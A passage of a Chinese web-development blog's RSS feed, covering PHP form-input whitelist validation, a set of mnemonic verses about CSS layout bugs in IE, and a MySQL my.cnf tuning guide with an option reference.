<p><?php$clean = array();$email_pattern = '/^[^@\s<&#038;>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i&#8217;;if (preg_match($email_pattern, $_POST['email'])){$clean['email'] = $_POST['email'];}?>下面的代码确保了$_POST['color']的内容是red，green，或者blue：</p>
<p><?php$clean = array();switch ($_POST['color']){case 'red':case 'green':case 'blue':$clean['color'] = $_POST['color'];break;}?>下面的代码确保$_POST['num']是一个整数（integer）：</p>
<p><?php$clean = array();if ($_POST['num'] == strval(intval($_POST['num']))){$clean['num'] = $_POST['num'];}?>下面的代码确保$_POST['num']是一个浮点数（float）：</p>
<p><?php$clean = array();if ($_POST['num'] == strval(floatval($_POST['num']))){$clean['num'] = $_POST['num'];}?>名字转换<br />
之前每个例子都使用了数组$clean。对于开发人员判断数据是否有潜在的威胁这是一个很好的习惯。 永远不要在对数据验证后还将其保存在$_POST或者$_GET中，作为开发人员对超级全局数组中保存的数据总是应当保持充分的怀疑。</p>
<p>需要补充的是，使用$clean可以帮助思考还有什么没有被过滤，这更类似一个白名单的作用。可以提升安全的等级。</p>
<p>如果仅仅将验证过的数据保存在$clean，在数据验证上仅存的风险是你所引用的数组元素不存在，而不是未过滤的危险数据。</p>
<p>时机</p>
<p>一旦 PHP 脚本开始执行，则意味着 HTTP 请求已经全部结束。此时，用户便没有机会向脚本发送数据。因此，没有数据可以被输入到脚本中（甚至register_globals被开启的情况下）。这就是为什么初始化变量是非常好的习惯。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/phpaa" title="PHP安全" rel="tag">PHP安全</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E5%8D%95" title="表单" rel="tag">表单</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a>, <a href="http://www.5bay.cn/tag/%E9%82%AE%E4%BB%B6" title="邮件" rel="tag">邮件</a>, <a href="http://www.5bay.cn/tag/%E9%87%8D%E5%AE%9A%E5%90%91" title="重定向" rel="tag">重定向</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%e9%aa%8c%e8%af%81" title="验证" rel="tag">验证</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeezhanchang.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS 中的太极拳口诀</title>
		<link>http://www.5bay.cn/me/csseeeeyao.html</link>
		<comments>http://www.5bay.cn/me/csseeeeyao.html#comments</comments>
		<pubDate>Thu, 22 Jul 2010 14:42:52 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[邪人邪语]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[容器]]></category>
		<category><![CDATA[模板]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=434</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/me/csseeeeyao.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>在做网站过程中，常常要修改网站模板，而模板受css控制。如果在用CSS设计布局时遇到BUG，请认真阅读以下内容，非常容易记忆的，不知道哪位高人把CSS BUG编成了*****了！看看好不好记住呢？ 一、IE边框若显若无，须注意，定是高度设置已忘记； 二、浮动产生有缘故，若要父层包含住，紧跟浮动要清除，容器自然显其中； 三、三像素文本慢移不必慌，高度设置帮你忙； 四、兼容各个浏览须注意，默认设置行高可能是*****； 五、独立清除浮动须铭记，行高设无，高设零，设计效果兼浏览； 六、学布局须思路，路随布局原理自然直，轻松驾驭html，流水布局少hack，代码清爽，兼容好，友好引擎喜欢迎。 七、所有标签皆有源，只是默认各不同，span是无极，无极生两仪&#8212;内联和块级，img较特殊，但也遵法理，其他只是改造各不同，一个*号全归原，层叠样式理须多练习，万物皆规律。 八、图片链接排版须小心，图片链接文字链接若对齐，padding和vertical-align:middle要设定，虽差微细倒无妨。 九、IE浮动双边距，请用display：inline拘。 十、列表横向排版，列表代码须紧靠，空隙自消须铭记。 相关博文2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年05月23日 -- nginx的rewrite规则 (1)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年05月23日 -- 图片轮换类，IE7、OP、FF、Chrome测试通过 (2)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月28日 -- Webshell下破解计算机管理员密码 (0)2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>在做网站过程中，常常要修改网站模板，而模板受css控制。如果在用CSS设计布局时遇到BUG，请认真阅读以下内容，非常容易记忆的，不知道哪位高人把CSS BUG编成了*****了！看看好不好记住呢？<br />
一、IE边框若显若无，须注意，定是高度设置已忘记；<br />
二、浮动产生有缘故，若要父层包含住，紧跟浮动要清除，容器自然显其中；<br />
三、三像素文本慢移不必慌，高度设置帮你忙；<br />
四、兼容各个浏览须注意，默认设置行高可能是*****；<br />
五、独立清除浮动须铭记，行高设无，高设零，设计效果兼浏览；<br />
六、学布局须思路，路随布局原理自然直，轻松驾驭html，流水布局少hack，代码清爽，兼容好，友好引擎喜欢迎。<br />
七、所有标签皆有源，只是默认各不同，span是无极，无极生两仪&mdash;内联和块级，img较特殊，但也遵法理，其他只是改造各不同，一个*号全归原，层叠样式理须多练习，万物皆规律。<br />
八、图片链接排版须小心，图片链接文字链接若对齐，padding和vertical-align:middle要设定，虽差微细倒无妨。<br />
九、IE浮动双边距，请用display：inline拘。<br />
十、列表横向排版，列表代码须紧靠，空隙自消须铭记。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E5%AE%B9%E5%99%A8" title="容器" rel="tag">容器</a>, <a href="http://www.5bay.cn/tag/%E6%A8%A1%E6%9D%BF" title="模板" rel="tag">模板</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/category/me" title="邪人邪语" rel="tag">邪人邪语</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/me/csseeeeyao.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysql优化及全文搜索</title>
		<link>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html</link>
		<comments>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:29:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[含义]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[引入]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[最快]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[镜像]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=373</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>mysql my.cnf文件常见优化模块 [mysqld] port = 3306 server-id = 1 socket = /tmp/mysql.sock # 避免MySQL的外部锁定，减少出错几率增强稳定性。 skip-locking # 禁止MySQL对外部连接进行DNS解析 skip-name-resolve # 指定MySQL可能的连接数量 back_log = 256 # 使用查询缓冲 query_cache_size = 32M query_cache_type= 1 # 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好 key_buffer_size = 256M # 允许的请求包大小 max_allowed_packet = 4M # 缓存可重用的线程数 thread_cache = 256 thread_cache_size = 64 # 每个线程的栈大小 [...]]]></description>
			<content:encoded><![CDATA[<p>mysql my.cnf文件常见优化模块<br />
[mysqld]<br />
port = 3306<br />
server-id = 1<br />
socket = /tmp/mysql.sock</p>
<p># 避免MySQL的外部锁定，减少出错几率增强稳定性。<br />
skip-locking</p>
<p># 禁止MySQL对外部连接进行DNS解析<br />
skip-name-resolve</p>
<p># 指定MySQL可能的连接数量<br />
back_log = 256<br />
<span id="more-373"></span><br />
# 使用查询缓冲<br />
query_cache_size = 32M<br />
query_cache_type= 1</p>
<p># 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好<br />
key_buffer_size = 256M</p>
<p># 允许的请求包大小<br />
max_allowed_packet = 4M</p>
<p># 缓存可重用的线程数<br />
thread_cache = 256<br />
thread_cache_size = 64</p>
<p># 每个线程的栈大小<br />
thread_stack = 256K</p>
<p># 指定表高速缓存的大小 对于有1G内存的机器，推荐值是128－256<br />
table_cache = 256K</p>
<p># 查询排序时所能使用的缓冲区大小 每连接独占<br />
sort_buffer_size = 6M</p>
<p># 读查询操作所能使用的缓冲区大小 每连接独占<br />
read_buffer_size = 4M</p>
<p># 联合查询操作所能使用的缓冲区大小 每连接独占<br />
join_buffer_size = 8M</p>
<p>#MyISAM表发生变化时重新排序所需的缓冲<br />
myisam_sort_buffer_size = 64M</p>
<p># 指定MySQL查询缓冲区的大小<br />
query_cache_size = 64M</p>
<p>tmp_table_size = 256M</p>
<p># 指定MySQL允许的最大连接进程数<br />
max_connections = 768</p>
<p>max_connect_errors = 10000000</p>
<p># 指定一个请求的最大连接时间<br />
wait_timeout = 10</p>
<p># 该参数取值为服务器逻辑CPU数量×2<br />
thread_concurrency = 8</p>
<p>#记录慢查询,然后对慢查询一一优化<br />
log-slow-queries = slow.log<br />
long_query_time = 2<br />
log-queries-not-using-indexes</p>
<p>#关闭不需要的表类型,如果你需要,就不要加上这个<br />
skip-innodb<br />
skip-bdb<br />
#指定用于索引的缓冲区大小，增加它可得到更好的索引处理性能。     对于内存在4GB左右的服务器该参数可设置为256M或384M。     注意：该参数值设置的过大反而会是服务器整体效率降低！<br />
key_buffer_size = 256M</p>
<p>MySQL server has gone away 的解决办法</p>
<p>有时候使用MySQL(和PHP搭配之最佳组合)命令行导入备份时会出现“MySQL(和PHP搭配之最佳组合) server has gone away”<a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" class="st_tag internal_tag" rel="tag" title="标签 错误 下的日志">错误</a>，这可能是因为其中一些insert语句的大小超出了MySQL(和PHP搭配之最佳组合)目前设置的缓冲区大小。</p>
<p>解决办法</p>
<p>1.使用php(做为现在的主流开发语言)myadmin 备份MySQL(和PHP搭配之最佳组合)的时候，只选择</p>
<p>数据:<br />
     完整插入<br />
     扩展插入</p>
<p>扩展插入不要勾选</p>
<p>2.使用 MySQL(和PHP搭配之最佳组合)dump 备份的时候不添加 &#8211;opt  </p>
<p>这样就只会生成完整的insert语句，导入时候不会出错。</p>
<p>3.修改my.ini</p>
<p>打开my.ini 找到[MySQL(和PHP搭配之最佳组合)d]这一行，下面添加</p>
<p>[MySQL(和PHP搭配之最佳组合)d]</p>
<p>#扩大缓冲区<br />
max_allowed_packet=32M  <br />
保存后，重启MySQL(和PHP搭配之最佳组合)</p>
<div>
<p>my.cnf配置(转)</p>
<p>mysqld程序&#8211;目录和文件<br />
basedir = <a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">path</a> 使用给定目录作为根目录(安装目录)。<br />
character-sets-dir = path 给出存放着字符集的目录。<br />
datadir = path 从给定目录读取数据库文件。<br />
pid-file = filename 为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。<br />
socket = filename 为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于UNIX/Linux系统; 默认设置一般<br />
是/var/lib/mysql/mysql.sock文件)。<br />
在Windows环境下，如果MySQL客户与服务器是通过命名管道进行通信的，&#8211;sock选项给出的将是该命名管道的名字(默认设置是MySQL)。 lower_case_table_name = 1/0 新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。<br />
mysqld程序&#8211;语言设置<br />
character-sets-server = name 新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容，这个字符集也可以用&#8211;default-character-set选项给出; 但这个选项已经显得有点过时了。<br />
collation-server = name 新数据库或数据表的默认排序方式。<br />
lanuage = name 用指定的语言显示出错信息。<br />
mysqld程序&#8211;通信、网络、信息安全<br />
enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL，但可以用&#8211;socket选项来改变。<br />
local-infile [=0] 允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。<br />
myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchk程序的同名选项作用相同。<br />
old-passwords 使用MySQL 3.23和4.0版本中的老算法来加密mysql数据库里的密码(默认使用MySQL 4.1版本开始引入的新加密算法)。 port = n 为MySQL程序指定一个TCP/IP通信端口(通常是3306端口)。<br />
safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用户才能使用GRANT命令; 这是一种双保险机制(此用户还必须具备GRANT权限才能执行GRANT命令)。<br />
shared-memory 允许使用内存(shared memory)进行通信(仅适用于Windows)。<br />
shared-memory-base-name = name 给共享内存块起一个名字(默认的名字是MySQL)。<br />
skip-grant-tables 不使用mysql数据库里的信息来进行访问控制(警告:这将允许用户任何用户去修改任何数据库)。<br />
skip-host-cache 不使用高速缓存区来存放主机名和IP地址的对应关系。<br />
skip-name-resovle 不把IP地址解析为主机名; 与访问控制(mysql.user数据表)有关的检查全部通过IP地址行进。<br />
skip-networking 只允许通过一个套接字文件(Unix/Linux系统)或通过命名管道(Windows系统)进行本地连接，不允许ICP/IP连接; 这提高了安全性，但阻断了来自网络的外部连接和所有的Java客户程序(Java客户即使在本地连接里也使用TCP/IP)。<br />
user = name mysqld程序在启动后将在给定UNIX/Linux账户下执行; mysqld必须从root账户启动才能在启动后切换到另一个账户下执行;<br />
mysqld_safe脚本将默认使用&#8211;user=mysql选项来启动mysqld程序。<br />
mysqld程序&#8211;内存管理、优化、查询缓存区<br />
bulk_insert_buffer_size = n 为一次插入多条新记录的INSERT命令分配的缓存区长度(默认设置是8M)。<br />
key_buffer_size = n 用来存放索引区块的RMA值(默认设置是8M)。<br />
join_buffer_size = n 在参加JOIN操作的数据列没有索引时为JOIN操作分配的缓存区长度(默认设置是128K)。<br />
max_heap_table_size = n HEAP数据表的最大长度(默认设置是16M); 超过这个长度的HEAP数据表将被存入一个临时文件而不是驻留在内存里。<br />
max_connections = n MySQL服务器同时处理的数据库连接的最大数量(默认设置是100)。<br />
query_cache_limit = n 允许临时存放在查询缓存区里的查询结果的最大长度(默认设置是1M)。<br />
query_cache_size = n 查询缓存区的最大长度(默认设置是0，不开辟查询缓存区)。<br />
query_cache_type = 0/1/2 查询缓存区的工作模式:0, 禁用查询缓存区; 1，启用查询缓存区(默认设置); 2，”按需分配”模式，只响应SELECT SQL_CACHE命令。<br />
read_buffer_size = n 为从数据表顺序读取数据的读操作保留的缓存区的长度(默认设置是128KB); 这个选项的设置值在必要时可以用SQL命令SET <a href="http://www.5bay.cn/tag/session" class="st_tag internal_tag" rel="tag" title="标签 session 下的日志">SESSION</a> read_buffer_size = n命令加以改变。<br />
read_rnd_buffer_size = n 类似于read_buffer_size选项，但针对的是按某种特定顺序(比如使用了ORDER BY子句的查询)输出的查询结果(默认设置是256K)。<br />
sore_buffer = n 为排序操作分配的缓存区的长度(默认设置是2M); 如果这个缓存区太小，则必须创建一个临时文件来进行排序。<br />
table_cache = n 同时打开的数据表的数量(默认设置是64)。<br />
tmp_table_size = n 临时HEAP数据表的最大长度(默认设置是32M); 超过这个长度的临时数据表将被转换为MyISAM数据表并存入一个临时文件。<br />
mysqld程序&#8211;日志<br />
log [= file] 把所有的连接以及所有的SQL命令记入日志(通用查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname.log文件作为这种日志文件(hostname是服务器的主机名)。<br />
log-slow-queries [= file] 把执行用时超过long_query_time变量值的查询命令记入日志(慢查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname-slow.log文件作为这种日志文件(hostname是服务器主机名)。<br />
long_query_time = n 慢查询的执行用时上限(默认设置是10s)。<br />
long_queries_not_using_indexs 把慢查询以及执行时没有使用索引的查询命令全都记入日志(其余同&#8211;log-slow-queries选项)。<br />
log-bin [= filename] 把对数据进行修改的所有SQL命令(也就是INSERT、UPDATE和DELETE命令)以二进制格式记入日志(二进制变更日志，binary update log)。这种日志的文件名是filename.n或默认的hostname.n，其中n是一个6位数字的整数(日志文件按顺序编号)。<br />
log-bin-index = filename 二进制日志功能的索引文件名。在默认情况下，这个索引文件与二进制日志文件的名字相同，但后缀名是.index而不是.nnnnnn。<br />
max_binlog_size = n 二进制日志文件的最大长度(默认设置是1GB)。在前一个二进制日志文件里的信息量超过这个最大长度之前，MySQL服务器会自动提供一个新的二进制日志文件接续上。<br />
binlog-do-db = dbname 只把给定数据库里的变化情况记入二进制日志文件，其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况，就必须在配置文件使用多个本选项来设置，每个数据库一行。<br />
binlog-ignore-db = dbname 不把给定数据库里的变化情况记入二进制日志文件。<br />
sync_binlog = n 每经过n次日志写操作就把日志文件写入硬盘一次(对日志信息进行一次同步)。n=1是最安全的做法，但效率最低。默认设置是n=0，意思是由操作系统来负责二进制日志文件的同步工作。<br />
log-update [= file] 记载出错情况的日志文件名(出错日志)。这种日志功能无法禁用。如果没有给出file参数，MySQL会使用hostname.err作为种日志文件的名字。<br />
mysqld程序&#8211;镜像(主控镜像服务器)<br />
server-id = n 给服务器分配一个独一无二的ID编号; n的取值范围是1~2的32次方启用二进制日志功能。<br />
log-bin = name 启用二进制日志功能。这种日志的文件名是filename.n或默认的hostname.n，其中的n是一个6位数字的整数(日志文件顺序编号)。<br />
binlog-do/ignore-db = dbname 只把给定数据库里的变化情况记入二进制日志文件/不把给定的数据库里的变化记入二进制日志文件。<br />
mysqld程序&#8211;镜像(从属镜像服务器)<br />
server-id = n 给服务器分配一个唯一的ID编号<br />
log-slave-updates 启用从属服务器上的日志功能，使这台计算机可以用来构成一个镜像链(A-&gt;B-&gt;C)。<br />
master-host = hostname 主控服务器的主机名或IP地址。如果从属服务器上存在mater.info文件(镜像关系定义文件)，它将忽略此选项。<br />
master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认设置是3306端口)。<br />
master-connect-retry = n 如果与主控服务器的连接没有成功，则等待n秒(s)后再进行管理方式(默认设置是60s)。如果从属服务器存在mater.info文件，它将忽略此选项。<br />
master-ssl-xxx = xxx 对主、从服务器之间的SSL通信进行配置。<br />
read-only = 0/1 0: 允许从属服务器独立地执行SQL命令(默认设置); 1: 从属服务器只能执行来自主控服务器的SQL命令。<br />
read-log-purge = 0/1 1: 把处理完的SQL命令立刻从中继日志文件里删除(默认设置); 0: 不把处理完的SQL命令立刻从中继日志文件里删除。<br />
replicate-do-table = dbname.tablename 与&#8211;replicate-do-table选项的含义和用法相同，但数据库和数据库表名字里允许出现通配符”%” (例如: test%.%&#8211;对名字以”test”开头的所有数据库里的所以数据库表进行镜像处理)。<br />
replicate-do-db = name 只对这个数据库进行镜像处理。<br />
replicate-ignore-table = dbname.tablename 不对这个数据表进行镜像处理。<br />
replicate-wild-ignore-table = dbn.tablen 不对这些数据表进行镜像处理。<br />
replicate-ignore-db = dbname 不对这个数据库进行镜像处理。<br />
replicate-rewrite-db = db1name &gt; db2name 把主控数据库上的db1name数据库镜像处理为从属服务器上的db2name数据库。<br />
report-host = hostname 从属服务器的主机名; 这项信息只与SHOW SLAVE HOSTS命令有关&#8211;主控服务器可以用这条命令生成一份从属服务器的名单。<br />
slave-compressed-protocol = 1 主、从服务器使用压缩格式进行通信&#8211;如果它们都支持这么做的话。<br />
slave-skip-errors = n1, n2, &#8230;或all 即使发生出错代码为n1、n2等的错误，镜像处理工作也继续进行(即不管发生什么错误，镜像处理工作也继续进行)。<br />
